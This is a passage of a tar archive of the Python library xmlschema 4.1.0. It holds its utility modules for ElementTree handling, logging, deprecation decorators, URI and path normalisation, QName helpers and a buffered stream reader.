elif self._name not in instance.__dict__: with self.lock: if self._name not in instance.__dict__: instance.__dict__[self._name] = self.func(instance) return cast(RT, instance.__dict__[self._name]) T = TypeVar('T') class Argument(Generic[T]): """ A validated initialization argument, with a private attribute that can set only if it's not defined yet. :param types: a type or a tuple of types for explicit type check. \ For default no type checking is done. :param validators: an optional sequence of validator functions that accepts \ a single argument and returns True if the argument is valid. :param nillable: defines when a `None` value is accepted. """ def __init__(self, types: Optional[ClassInfoType[Any]] = None, validators: Iterable[Callable[[Any], bool]] = (), nillable: bool = True) -> None: self.types = types self.validators = validators self.nillable = nillable def __set_name__(self, owner: type[Any], name: str) -> None: self._name = name self._private_name = f'_{name}' @overload def __get__(self, instance: None, owner: type[Any]) -> 'Argument[T]': ... @overload def __get__(self, instance: Any, owner: type[Any]) -> T: ... def __get__(self, instance: Optional[Any], owner: type[Any]) \ -> Union['Argument[T]', T]: if instance is None: return self return self.validated_value(getattr(instance, self._private_name)) def __set__(self, instance: Any, value: Any) -> None: if hasattr(instance, self._private_name): raise XMLSchemaAttributeError(_("Can't set attribute {}").format(self._name)) setattr(instance, self._private_name, self.validated_value(value)) def __delete__(self, instance: Any) -> None: raise XMLSchemaAttributeError(_("Can't delete attribute {}").format(self._name)) def validated_value(self, value: Any) -> T: if value is None and self.nillable or \ self.types and isinstance(value, self.types) or \ any(func(value) for func in self.validators): return cast(T, value) else: msg = _("invalid type {!r} for argument {!r}") raise XMLSchemaTypeError(msg.format(type(value), self._name)) class ChoiceArgument(Argument[T]): """A string-type argument restricted by a set of choices.""" def __init__(self, types: ClassInfoType[Any], choices: Iterable[T]) -> None: super().__init__(types, nillable=False) self.choices = choices def validated_value(self, value: Any) -> T: value = super().validated_value(value) if value not in self.choices: msg = _("invalid value {!r} for argument {!r}: must be one of {}") raise XMLSchemaValueError(msg.format(value, self._name, tuple(self.choices))) return cast(T, value) class ValueArgument(Argument[T]): """A typed argument with optional min and max values.""" def __init__(self, types: ClassInfoType[Any], min_value: Optional[T] = None, max_value: Optional[T] = None) -> None: super().__init__(types, nillable=False) self.min_value = min_value self.max_value = max_value def validated_value(self, value: Any) -> T: value = super().validated_value(value) if self.min_value is not None and value < self.min_value: msg = _("the argument {!r} must be greater or equal than {}") raise XMLSchemaValueError(msg.format(self._name, self.min_value)) elif self.max_value is not None and value > self.max_value: msg = _("the argument {!r} must be lesser or equal than {}") raise XMLSchemaValueError(msg.format(self._name, self.max_value)) return cast(T, value) ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/utils/etree.py������������������������������������������������������������0000664�0000000�0000000�00000023634�15020401055�0020274�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2024, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # import importlib import re from collections.abc import Callable, Iterator from typing import Any, Optional, Union from xml.etree import ElementTree from xmlschema.names import XSI_SCHEMA_LOCATION, XSI_NONS_SCHEMA_LOCATION from xmlschema.aliases import ElementType, NsmapType from xmlschema.utils.qnames import get_namespace, get_prefixed_qname def is_etree_element(obj: object) -> bool: """A validator for ElementTree elements that excludes XsdElement objects.""" return hasattr(obj, 'append') and hasattr(obj, 'tag') and hasattr(obj, 'attrib') def is_like_etree_element(obj: Any) -> bool: """A validator for ElementTree elements that includes XsdElement objects.""" return hasattr(obj, 'tag') and hasattr(obj, 'attrib') and hasattr(obj, 'text') def is_etree_document(obj: object) -> bool: """A validator for ElementTree objects.""" return hasattr(obj, 'getroot') and hasattr(obj, 'parse') and hasattr(obj, 'iter') def is_lxml_element(obj: object) -> bool: """A validator for lxml elements.""" return hasattr(obj, 'append') and hasattr(obj, 'tag') and hasattr(obj, 'attrib') \ and hasattr(obj, 'getparent') and hasattr(obj, 'nsmap') and hasattr(obj, 'xpath') def is_lxml_document(obj: Any) -> bool: return is_etree_document(obj) and hasattr(obj, 'xpath') and hasattr(obj, 'xslt') def etree_get_ancestors(elem: ElementType, root: ElementType) -> Optional[list[ElementType]]: """ Returns a list with ancestors of `elem`, `None` if `elem` is not a descendant of `root`. """ if elem is root: return [] else: ancestors = [root] children = iter(root) iterators = [] while True: for child in children: if elem is child: return ancestors if len(child): ancestors.append(child) iterators.append(children) children = iter(child) break else: if not iterators: return None ancestors.pop() children = iterators.pop() def etree_getpath(elem: ElementType, root: ElementType, namespaces: Optional[NsmapType] = None, relative: bool = True, add_position: bool = False, parent_path: bool = False) -> Optional[str]: """ Returns the XPath path from *root* to descendant *elem* element. :param elem: the descendant element. :param root: the root element. :param namespaces: an optional mapping from namespace prefix to URI. :param relative: returns a relative path. :param add_position: add context position to child elements that appear multiple times. :param parent_path: if set to `True` returns the parent path. Default is `False`. :return: An XPath expression or `None` if *elem* is not a descendant of *root*. """ ancestors = etree_get_ancestors(elem, root) if ancestors is None: return None elif not parent_path: ancestors.append(elem) elif not ancestors: return None if relative: parts = ['.'] elif namespaces: parts = ['', get_prefixed_qname(root.tag, namespaces)] else: parts = ['', root.tag] for k in range(len(ancestors) - 1): parent, child = ancestors[k:k+2] name = get_prefixed_qname(child.tag, namespaces) if namespaces else child.tag if add_position: position = siblings = 1 for c in parent: if c is child: position = siblings elif c.tag == child.tag: siblings += 1 if siblings != 1: parts.append(f'{name}[{position}]') else: parts.append(name) else: parts.append(name) return '/'.join(parts) def etree_iter_location_hints(elem: ElementType) -> Iterator[tuple[Any, Any]]: """Yields schema location hints contained in the attributes of an element.""" if XSI_SCHEMA_LOCATION in elem.attrib: locations = elem.attrib[XSI_SCHEMA_LOCATION].split() for ns, url in zip(locations[0::2], locations[1::2]): yield ns, url if XSI_NONS_SCHEMA_LOCATION in elem.attrib: for url in elem.attrib[XSI_NONS_SCHEMA_LOCATION].split(): yield '', url def etree_iter_namespaces(root: ElementType, elem: Optional[ElementType] = None) -> Iterator[str]: """ Yields namespaces of an ElementTree structure. If an *elem* is provided stops when found if during the iteration. """ if root.tag != '{' and root is not elem: yield '' for e in root.iter(): if e is elem: return elif e.tag[0] == '{': yield get_namespace(e.tag) if e.attrib: for name in e.attrib: if name[0] == '{': yield get_namespace(name) def prune_etree(root: ElementType, selector: Callable[[ElementType], bool]) \ -> Optional[bool]: """ Removes from a tree structure the elements that verify the selector function. The checking and eventual removals are performed using a breadth-first visit method. :param root: the root element of the tree. :param selector: the single argument function to apply on each visited node. :return: `True` if the root node verify the selector function, `None` otherwise. """ def _prune_subtree(elem: ElementType) -> None: for child in elem[:]: if selector(child): elem.remove(child) for child in elem: _prune_subtree(child) if selector(root): del root[:] return True _prune_subtree(root) return None def etree_tostring(elem: ElementType, namespaces: Optional[NsmapType] = None, indent: str = '', max_lines: Optional[int] = None, spaces_for_tab: Optional[int] = 4, xml_declaration: Optional[bool] = None, encoding: str = 'unicode', method: str = 'xml') -> Union[str, bytes]: """ Serialize an Element tree to a string. :param elem: the Element instance. :param namespaces: is an optional mapping from namespace prefix to URI. \ Provided namespaces are registered before serialization. Ignored if the \ provided *elem* argument is a lxml Element instance. :param indent: the baseline indentation. :param max_lines: if truncate serialization after a number of lines \ (default: do not truncate). :param spaces_for_tab: number of spaces for replacing tab characters. For \ default tabs are replaced with 4 spaces, provide `None` to keep tab characters. :param xml_declaration: if set to `True` inserts the XML declaration at the head. :param encoding: if "unicode" (the default) the output is a string, \ otherwise it’s binary. :param method: is either "xml" (the default), "html" or "text". :return: a Unicode string. """ def reindent(line: str) -> str: if not line: return line elif line.startswith(min_indent): return line[start:] if start >= 0 else indent[start:] + line else: return indent + line etree_module: Any if isinstance(elem, ElementTree.Element): etree_module = ElementTree elif is_lxml_element(elem): etree_module = importlib.import_module('lxml.etree') else: raise TypeError(f"can't serialize {elem!r}") if namespaces and not hasattr(elem, 'nsmap'): default_namespace = namespaces.get('') for prefix, uri in namespaces.items(): if prefix and not re.match(r'ns\d+$', prefix): etree_module.register_namespace(prefix, uri) if uri == default_namespace: default_namespace = None if default_namespace: etree_module.register_namespace('', default_namespace) xml_text = etree_module.tostring(elem, encoding=encoding, method=method) if isinstance(xml_text, bytes): xml_text = xml_text.decode('utf-8') if spaces_for_tab is not None: xml_text = xml_text.replace('\t', ' ' * spaces_for_tab) if xml_text.startswith('<?xml '): if xml_declaration is False: lines = xml_text.splitlines()[1:] else: lines = xml_text.splitlines() elif xml_declaration and encoding.lower() != 'unicode': lines = ['<?xml version="1.0" encoding="{}"?>'.format(encoding)] lines.extend(xml_text.splitlines()) else: lines = xml_text.splitlines() # Clear ending empty lines while lines and not lines[-1].strip(): lines.pop(-1) if not lines or method == 'text' or (not indent and not max_lines): if encoding == 'unicode': return '\n'.join(lines) return '\n'.join(lines).encode(encoding) last_indent = ' ' * min(k for k in range(len(lines[-1])) if lines[-1][k] != ' ') if len(lines) > 2: try: child_indent = ' ' * min( k for line in lines[1:-1] for k in range(len(line)) if line[k] != ' ' ) except ValueError: child_indent = '' min_indent = min(child_indent, last_indent) else: min_indent = child_indent = last_indent start = len(min_indent) - len(indent) if max_lines is not None and len(lines) > max_lines + 2: lines = lines[:max_lines] + [child_indent + '...'] * 2 + lines[-1:] if encoding == 'unicode': return '\n'.join(reindent(line) for line in lines) return '\n'.join(reindent(line) for line in lines).encode(encoding) ����������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/utils/logger.py�����������������������������������������������������������0000664�0000000�0000000�00000006057�15020401055�0020447�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2024, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # import logging import traceback from collections.abc import Callable from functools import wraps from typing import Any, Optional, TypeVar, Union from xmlschema.exceptions import XMLSchemaValueError from xmlschema.translation import gettext as _ from xmlschema.resources import XMLResource logger = logging.getLogger('xmlschema') LOG_LEVELS = {'DEBUG', 'INFO', 'WARN', 'WARNING', 'ERROR', 'CRITICAL'} def set_logging_level(level: Union[str, int]) -> None: """set logging level of xmlschema's logger.""" if isinstance(level, str): _level = level.strip().upper() if _level not in LOG_LEVELS: raise XMLSchemaValueError( _("{!r} is not a valid loglevel").format(level) ) logger.setLevel(getattr(logging, _level)) else: logger.setLevel(level) RT = TypeVar('RT') def logged(func: Callable[..., RT]) -> Callable[..., RT]: """ A decorator for activating a logging level for a function. The keyword argument 'loglevel' is obtained from the keyword arguments and used by the wrapper function to set the logging level of the decorated function and to restore the original level after the call. """ @wraps(func) def wrapper(*args: Any, **kwargs: Any) -> Any: loglevel: Optional[Union[int, str]] = kwargs.get('loglevel') if loglevel is None: return func(*args, **kwargs) else: current_level = logger.level set_logging_level(loglevel) try: return func(*args, **kwargs) finally: logger.setLevel(current_level) return wrapper def format_xmlschema_stack(start_with: str) -> str: """Extract a formatted traceback for xmlschema package from current stack frame.""" formatted_stack = traceback.format_stack() for k, line in enumerate(formatted_stack): if start_with in line: return ''.join(formatted_stack[k:]) else: return ''.join(formatted_stack) def dump_data(*args: Any) -> None: """Dump data to logger for debugging purposes.""" if not args: return logging.basicConfig() chunks: list[str] = [' dump data for xmlschema debugging\n'] for item in args: if isinstance(item, XMLResource): chunks.append(repr(item)) if item.name: chunks.append(f'name: {item.name!r}') chunks.append(f'namespace: {item.namespace!r}') if item.url: chunks.append(f'URL: {item.url}') if not item.is_lazy(): chunks.append(item.tostring()) chunks.append('') else: chunks.append(repr(item)) chunks.append('') logger.warning('\n'.join(chunks)) ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/utils/misc.py�������������������������������������������������������������0000664�0000000�0000000�00000005550�15020401055�0020120�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2024, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # import warnings from functools import wraps from collections.abc import Callable, Iterator from typing import cast, Any, TypeVar from xmlschema.exceptions import XMLSchemaException, XMLSchemaValueError, \ XMLSchemaTypeError, XMLSchemaAttributeError, XMLSchemaKeyError, \ XMLSchemaRuntimeError def is_subclass(t: type[Any], cls: type[Any]) -> bool: """A safe subclass checker.""" return isinstance(t, type) and issubclass(t, cls) def iter_class_slots(obj: Any) -> Iterator[str]: """Iterates slots defined for a class and its bases.""" for cls in obj.__class__.__mro__: if hasattr(cls, '__slots__'): yield from cls.__slots__ FT = TypeVar('FT', bound=Callable[..., Any]) RT = TypeVar('RT') def catchable_xmlschema_error(func: FT) -> FT: """Force a function to raise only an XMLSchemaException or a subclass of it.""" @wraps(func) def wrapper(*args: Any, **kwargs: Any) -> Any: try: return func(*args, **kwargs) except XMLSchemaException: raise except ValueError as err: raise XMLSchemaValueError(err) except TypeError as err: raise XMLSchemaTypeError(err) except AttributeError as err: raise XMLSchemaAttributeError(err) except KeyError as err: raise XMLSchemaKeyError(err) except RuntimeError as err: raise XMLSchemaRuntimeError(err) return cast(FT, wrapper) def deprecated(version: str, stacklevel: int = 1, alt: str = '') \ -> Callable[[Callable[..., RT]], Callable[..., RT]]: def decorator(func: Callable[..., RT]) -> Callable[..., RT]: msg = f"{func.__qualname__!r} will be removed in v{version}." if alt: msg = f"{msg[:-1]}, {alt}." @wraps(func) def wrapper(*args: Any, **kwargs: Any) -> RT: warnings.warn(msg, DeprecationWarning, stacklevel=stacklevel + 1) return func(*args, **kwargs) return wrapper return decorator def will_change(version: str, stacklevel: int = 1, alt: str = '') \ -> Callable[[Callable[..., RT]], Callable[..., RT]]: def decorator(func: Callable[..., RT]) -> Callable[..., RT]: msg = f"{func.__qualname__!r} will change from v{version}." if alt: msg = f"{msg[:-1]}, {alt}." @wraps(func) def wrapper(*args: Any, **kwargs: Any) -> RT: warnings.warn(msg, FutureWarning, stacklevel=stacklevel + 1) return func(*args, **kwargs) return wrapper return decorator ��������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/utils/paths.py������������������������������������������������������������0000664�0000000�0000000�00000016554�15020401055�0020312�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2024, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # import os.path import ntpath import platform import posixpath import string from pathlib import PurePath, PurePosixPath, PureWindowsPath from urllib.parse import urlsplit, unquote, quote_from_bytes from xmlschema.exceptions import XMLSchemaValueError DRIVE_LETTERS = frozenset(string.ascii_letters) def get_uri_path(scheme: str = '', authority: str = '', path: str = '', query: str = '', fragment: str = '') -> str: """ Get the URI path from components, according to https://datatracker.ietf.org/doc/html/rfc3986. The returned path includes the authority. """ if scheme == 'urn': if not path or authority or query or fragment: raise XMLSchemaValueError("An URN can have only scheme and path components") elif path.startswith(':') or path.endswith(':'): raise XMLSchemaValueError(f"Invalid URN path {path!r}") return path elif authority: if path and path[:1] != '/': return f'//{authority}/{path}' else: return f'//{authority}{path}' elif path[:2] == '//': return f'//{path}#{fragment}' if fragment else f'//{path}' # UNC path elif scheme and scheme not in DRIVE_LETTERS: if not path or path[0] == '/': return f'//{path}' else: return path if query: path = f'{path}?{query}' if fragment: return f'{path}#{fragment}' return path def get_uri(scheme: str = '', authority: str = '', path: str = '', query: str = '', fragment: str = '') -> str: """ Get the URI from components, according to https://datatracker.ietf.org/doc/html/rfc3986. """ if scheme == 'urn': return f'urn:{get_uri_path(scheme, authority, path, query, fragment)}' url = get_uri_path(scheme, authority, path) if scheme: url = scheme + ':' + url if query: url = url + '?' + query if fragment: url = url + '#' + fragment return url def is_unc_path(path: str) -> bool: """ Returns `True` if the provided path is a UNC path, `False` otherwise. Based on the capabilities of `PureWindowsPath` of the Python release. """ return PureWindowsPath(path).drive.startswith('\\\\') def is_drive_path(path: str) -> bool: """Returns `True` if the provided path starts with a drive (e.g. 'C:'), `False` otherwise.""" drive = ntpath.splitdrive(path)[0] return len(drive) == 2 and drive[1] == ':' and drive[0] in DRIVE_LETTERS class LocationPath(PurePath): """ A version of pathlib.PurePath with an enhanced URI conversion and for the normalization of location paths. A system independent path normalization without resolution is essential for processing resource locations, so the use or base class internals can be necessary for using pathlib. Despite the URL path has to be considered case-sensitive (ref. https://www.w3.org/TR/WD-html40-970708/htmlweb.html) this not always happen. On the other hand the initial source is often a filepath, so the better choice is to maintain location paths still related to the operating system. """ _path_module = os.path def __new__(cls, *args: str) -> 'LocationPath': if cls is LocationPath: cls = LocationWindowsPath if os.name == 'nt' else LocationPosixPath return super().__new__(cls, *args) # type: ignore[arg-type, unused-ignore] @classmethod def from_uri(cls, uri: str) -> 'LocationPath': """ Parse a URI and return a LocationPath. For non-local schemes like 'http', 'https', etc. a LocationPosixPath is returned. For Windows related file paths, like a path with a drive, a UNC path or a path containing a backslash, a LocationWindowsPath is returned. """ parts = urlsplit(uri.strip()) if not parts.scheme or parts.scheme == 'file': path = get_uri_path( authority=parts.netloc, path=parts.path, query=parts.query, fragment=parts.fragment ) # Detect invalid Windows paths (rooted or UNC path followed by a drive) for k in range(len(path)): if path[k] not in '/\\': if not k or not is_drive_path(path[k:]): break elif k == 1 and parts.scheme == 'file': # Valid case for a URL with a file scheme return LocationWindowsPath(unquote(path[1:])) else: raise XMLSchemaValueError(f"Invalid URI {uri!r}") if '\\' in path or platform.system() == 'Windows': return LocationWindowsPath(unquote(path)) elif ntpath.splitdrive(path)[0]: location_path = LocationWindowsPath(unquote(path)) if location_path.drive: # PureWindowsPath not detects a drive in Python 3.11.x also # if it's detected by ntpath.splitdrive(). return location_path return LocationPosixPath(unquote(path)) elif parts.scheme in DRIVE_LETTERS: # uri is a Windows path with a drive, e.g. k:/Python/lib/file # urlsplit() converts the scheme to lowercase so use uri[0] path = f'{uri[0]}:{get_uri_path(authority=parts.netloc, path=parts.path)}' return LocationWindowsPath(unquote(path)) elif parts.scheme == 'urn': raise XMLSchemaValueError(f"Can't create a {cls!r} from an URN!") else: return LocationPosixPath(unquote(parts.path)) def as_uri(self) -> str: # Implementation that maps relative paths to not RFC 8089 compliant relative # file URIs because urlopen() doesn't accept simple paths. For UNC paths uses # the format with four slashes to let urlopen() works. drive = self.drive if len(drive) == 2 and drive[1] == ':' and drive[0] in DRIVE_LETTERS: # A Windows path with a drive: 'c:\dir\file' => 'file:///c:/dir/file' prefix = 'file:///' + drive path = self.as_posix()[2:] elif drive: # UNC format case: '\\host\dir\file' => 'file:////host/dir/file' prefix = 'file://' path = self.as_posix() else: path = self.as_posix() if path.startswith('/'): # A Windows relative path or an absolute posix path: # ('\dir\file' | '/dir/file') => 'file://dir/file' prefix = 'file://' else: # A relative posix path: 'dir/file' => 'file:dir/file' prefix = 'file:' return prefix + quote_from_bytes(os.fsencode(path)) def normalize(self) -> 'LocationPath': normalized_path = self._path_module.normpath(str(self)) return self.__class__(normalized_path) class LocationPosixPath(LocationPath, PurePosixPath): _path_module = posixpath __slots__ = () class LocationWindowsPath(LocationPath, PureWindowsPath): _path_module = ntpath __slots__ = () ����������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/utils/protocols.py��������������������������������������������������������0000664�0000000�0000000�00000002341�15020401055�0021204�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2024, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # from types import TracebackType from typing import AnyStr, IO, Optional, Protocol, Type class IOProtocol(Protocol[AnyStr]): @property def closed(self) -> bool: ... def close(self) -> None: ... def flush(self) -> None: ... def isatty(self) -> bool: ... def read(self, n: int = ...) -> AnyStr: ... def readable(self) -> bool: ... def readline(self, limit: int = ...) -> AnyStr: ... def readlines(self, hint: int = ...) -> list[AnyStr]: ... def seek(self, offset: int, whence: int = ...) -> int: ... def seekable(self) -> bool: ... def tell(self) -> int: ... def __enter__(self) -> 'IOProtocol[AnyStr]': ... def __exit__(self, exc_type: Optional[Type[BaseException]], exc_val: Optional[BaseException], exc_tb: Optional[TracebackType]) -> None: ... class FileWrapperProtocol(IOProtocol[AnyStr], Protocol[AnyStr]): file: IO[AnyStr] name: str �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/utils/qnames.py�����������������������������������������������������������0000664�0000000�0000000�00000015351�15020401055�0020451�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2024, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # """Helper functions for QNames and namespaces.""" import re from collections.abc import Iterable, MutableMapping from typing import Optional from xmlschema.exceptions import XMLSchemaValueError, XMLSchemaTypeError from xmlschema.names import XML_NAMESPACE from xmlschema.aliases import NsmapType def get_namespace(qname: str) -> str: """ Returns the namespace URI associated with a QName in extended form or a local name. If the argument is not conformant to QName format returns the empty string, which means no namespace. """ try: if qname[0] != '{': return '' namespace, _ = qname[1:].split('}') except (IndexError, ValueError): return '' except TypeError: raise XMLSchemaTypeError("the argument must be a string-like object") else: return namespace def get_namespace_ext(qname: str, namespaces: Optional[NsmapType] = None) -> str: """ Returns the namespace URI associated with a QName. If a namespace map is provided tries to resolve a prefixed QName and then to extract the namespace. :param qname: an extended QName or a local name or a prefixed QName. :param namespaces: optional mapping from prefixes to namespace URIs. """ if not namespaces: return get_namespace(qname) else: return get_namespace(get_extended_qname(qname, namespaces)) def get_qname(uri: Optional[str], name: str) -> str: """ Returns an expanded QName from URI and local part. If any argument has boolean value `False` or if the name is already an expanded QName, returns the *name* argument. :param uri: namespace URI :param name: local or qualified name :return: string or the name argument """ try: if name[0] in '{./[' or not uri: return name except IndexError: return '' except TypeError: raise XMLSchemaTypeError("the 2nd argument must be a string-like object") else: return f'{{{uri}}}{name}' def local_name(qname: str) -> str: """ Return the local part of an expanded QName or a prefixed name. If the name is `None` or empty returns the *name* argument. :param qname: an expanded QName or a prefixed name or a local name. """ try: if qname[0] == '{': _namespace, qname = qname.split('}') elif ':' in qname: _prefix, qname = qname.split(':') except IndexError: return '' except ValueError: raise XMLSchemaValueError("the argument 'qname' has an invalid value %r" % qname) except TypeError: raise XMLSchemaTypeError("the argument 'qname' must be a string-like object") else: return qname def get_prefixed_qname(qname: str, namespaces: Optional[MutableMapping[str, str]], use_empty: bool = True) -> str: """ Get the prefixed form of a QName, using a namespace map. :param qname: an extended QName or a local name or a prefixed QName. :param namespaces: an optional mapping from prefixes to namespace URIs. :param use_empty: if `True` use the empty prefix for mapping. """ if not namespaces or not qname or qname[0] != '{': return qname namespace = get_namespace(qname) prefixes = [x for x in namespaces if namespaces[x] == namespace] if not prefixes: return qname elif prefixes[0]: return f"{prefixes[0]}:{qname.split('}', 1)[1]}" elif len(prefixes) > 1: return f"{prefixes[1]}:{qname.split('}', 1)[1]}" elif use_empty: return qname.split('}', 1)[1] else: return qname def get_extended_qname(qname: str, namespaces: Optional[MutableMapping[str, str]]) -> str: """ Get the extended form of a QName, using a namespace map. Local names are mapped to the default namespace. :param qname: a prefixed QName or a local name or an extended QName. :param namespaces: an optional mapping from prefixes to namespace URIs. """ if not namespaces: return qname try: if qname[0] == '{': return qname except IndexError: return qname try: prefix, name = qname.split(':', 1) except ValueError: if not namespaces.get(''): return qname else: return f"{{{namespaces['']}}}{qname}" else: try: uri = namespaces[prefix] except KeyError: return qname else: return f'{{{uri}}}{name}' if uri else name def update_namespaces(namespaces: NsmapType, xmlns: Iterable[tuple[str, str]], root_declarations: bool = False) -> None: """ Update a namespace map without overwriting existing declarations. If a duplicate prefix is encountered in a xmlns declaration, and this is mapped to a different namespace, adds the namespace using a different generated prefix. The empty prefix '' is used only if it's declared at root level to avoid erroneous mapping of local names. In other cases it uses the prefix 'default' as substitute. :param namespaces: the target namespace map. :param xmlns: an iterable containing couples of namespace declarations. :param root_declarations: provide `True` if the namespace declarations \ belong to the root element, `False` otherwise (default). """ for prefix, uri in xmlns: if not prefix: if not uri: continue elif '' not in namespaces: if root_declarations: namespaces[''] = uri continue elif namespaces[''] == uri: continue prefix = 'default' while prefix in namespaces: if namespaces[prefix] == uri: break match = re.search(r'(\d+)$', prefix) if match: index = int(match.group()) + 1 prefix = prefix[:match.span()[0]] + str(index) else: prefix += '0' else: namespaces[prefix] = uri def get_namespace_map(namespaces: Optional[NsmapType]) -> NsmapType: """Returns a new and checked namespace map.""" namespaces = {k: v for k, v in namespaces.items()} if namespaces else {} if namespaces.get('xml', XML_NAMESPACE) != XML_NAMESPACE: msg = f"reserved prefix 'xml' can be used only for {XML_NAMESPACE!r} namespace" raise XMLSchemaValueError(msg) return namespaces ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/utils/streams.py����������������������������������������������������������0000664�0000000�0000000�00000011124�15020401055�0020635�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2024, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # from io import BufferedIOBase from threading import Lock from typing import Any, Optional, Union DEFAULT_BUFFER_SIZE = 8 * 1024 def is_file_object(obj: object) -> bool: return hasattr(obj, 'read') and hasattr(obj, 'seekable') \ and hasattr(obj, 'tell') and hasattr(obj, 'seek') \ and hasattr(obj, 'closed') and hasattr(obj, 'close') class DefusableReader(BufferedIOBase): """ A class for wrapping a not seekable buffered IO stream in a partially seekable stream that can be defused. The initial buffer size is 64KiB and can't be lower than io.DEFAULT_BUFFER_SIZE. """ def __init__(self, fp: BufferedIOBase, initial_buffer_size: int = 64 * 1024): if not isinstance(fp, BufferedIOBase): raise TypeError( f'"fp" argument must an instance of {BufferedIOBase} or a derived class' ) if not fp.readable(): raise OSError('"fp" argument must be readable') if fp.closed: raise OSError('"fp" argument must be a not closed file descriptor') if initial_buffer_size < DEFAULT_BUFFER_SIZE: initial_buffer_size = DEFAULT_BUFFER_SIZE buf = bytearray() buf += fp.read(initial_buffer_size) self._buffer = buf self._buffer_size = len(buf) self._fp = fp self._pos = 0 self._fp_lock = Lock() def __getstate__(self) -> dict[str, Any]: state = self.__dict__.copy() state.pop('_fp_lock', None) return state def __setstate__(self, state: dict[str, Any]) -> None: self.__dict__.update(state) self._xpath_lock = Lock() def readable(self) -> bool: return self._fp.readable() def seekable(self) -> bool: self._checkClosed() return self._pos < self._buffer_size or self._fp.seekable() def seek(self, pos: int, whence: int = 0) -> int: if self.closed: raise ValueError("seek on closed file") if not isinstance(pos, int): raise TypeError(f"{pos!r} is not an integer") with self._fp_lock: if whence == 0: if pos < 0: raise ValueError(f"negative seek position {pos!r}") elif whence == 1: pos = max(0, self._pos + pos) elif whence == 2: pos = self._fp.seek(pos, 2) else: raise ValueError("unsupported whence value") if pos > self._buffer_size and whence != 2: pos = self._fp.seek(pos) elif self._pos > self._buffer_size: self._fp.seek(self._buffer_size) self._pos = pos return self._pos def tell(self) -> int: return self._pos def getbuffer(self) -> memoryview: if self.closed: raise ValueError("getbuffer on closed file") return memoryview(self._buffer) def close(self) -> None: with self._fp_lock: self._buffer.clear() self._fp.close() def read(self, size: Optional[int] = None) -> bytes: self._checkClosed() if size is not None and size < -1: raise ValueError("invalid number of bytes to read") with self._fp_lock: return self._read_unlocked(size) def _read_unlocked(self, size: Optional[int] = None) -> bytes: if self._pos >= self._buffer_size: data = self._fp.read(size) self._pos += len(data) return data buffer = self._buffer[self._pos:] if size is not None and size > -1: if size <= len(buffer): data = buffer[:size] else: chunk = self._fp.read(size - len(buffer)) data = buffer if not chunk else buffer + chunk elif hasattr(self._fp, 'readall'): chunk = self._fp.readall() data = buffer if not chunk else buffer + chunk else: chunks: list[Union[bytes, bytearray]] = [buffer] while True: chunk = self._fp.read() if not chunk: break chunks.append(chunk) data = b"".join(chunks) self._pos += len(data) return data def read1(self, size: int = -1) -> bytes: return self.read(size) ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/utils/urls.py�������������������������������������������������������������0000664�0000000�0000000�00000023234�15020401055�0020151�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # 